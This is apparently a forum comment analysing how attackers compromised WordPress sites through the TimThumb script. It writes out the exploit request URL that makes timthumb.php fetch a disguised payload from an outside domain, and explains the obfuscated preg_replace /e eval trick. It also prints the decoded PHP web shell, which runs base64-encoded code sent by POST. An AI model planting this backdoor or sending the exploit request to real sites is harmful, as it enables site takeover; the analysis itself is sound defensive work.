Hi - I'm reposting my original comment with links to pastebin, as I can't edit my original comment.
-----
Well, this is how it seems to work:
1)It first scans the site's HTML to find the active theme's folder
2)It looks for the file tinythumb.php in the main theme folder, and makes a request like this:
yoursite.wordpress.com/wp-content/themes/activetheme/tinythumb.php?src=http://{random_string}.flickr.com.dpprc.com/dppadmin/stats.php
This tricks the tinythumb.php script into downloading the file from dpprc.com. It is disguised as a PNG, (with a binary PNG header), but has the following code in it:
http://pastebin.com/MhPh4Lsg
It's using some sort of encoding to hide its true intent. It's exploiting a feature of the preg_replace function to execute PHP code.
More info:
http://us3.php.net/manual/en/function.preg-replace.php
It first sets up a variable to hold the random string, which is the same as the first part of the attacker's script's URL (before the dot).
The first parameter (reg ex. pattern) of preg_replace evaluates to:
#(.+)#ie
This seems to be a pattern to satisfy the preg_replace function and trigger execution of the attacker's code.
As will become clear, the real purpose of calling the function is execute code, not do a regular expression match.
It's performing a case-insensitive match (the "i" flag), and executing code (the "e" flag).
From http://blog.akilles.org/2008/09/17/preg_replace-in-php-with-e-flag/ :
"The /e flag makes the (quoted) replacement string to be treated as PHP-code, so that one can make more complex regex-replacements in a one-liner."
The pound signs simply denote the start and end of the reg ex pattern, and it's matching everything in the subject "(.+)".
The second parameter (replacement) evaluates to:
@eval("\1");
This seems to be calling the eval function on the entire subject (the third parameter). (It's also suppressing any error messages that may be written to the PHP error log, with the @ symbol.)
The third parameter (the subject) evaluates to:
http://pastebin.com/mLRtCakv
This, in turn evaluates to:
if (isset($_GET["cookie"])) {
echo "cookie=4";
if (isset($_POST[$cookey])) @eval(base64_decode($_POST[$cookey]));
exit;
}
This code gets saved to the timthumb cache folder.
After the initial request to timthumb.php, here's what I think happens:
The attacker tries to see if the script was saved, by calling it with the "?cookie=xyz" parameter. In this case, it outputs "cookie=4".
Once he's verified that the script is working, he makes a POST request to the script with the POST parameter named "cookey". This allows him to run any PHP code that is base64 encoded and posted to the script.
This is probably how he modifies the htaccess file.
This seems like an extremely sophisticated operation - so, whoever's doing it probably has plenty of time and money. The motive is clearly profit - they're trying to increase the search engine ranking for their site using unethical and illegal techniques.
Hema Latha
MickeyRoush
vernonmorris1
kymora
jaybook
miketopher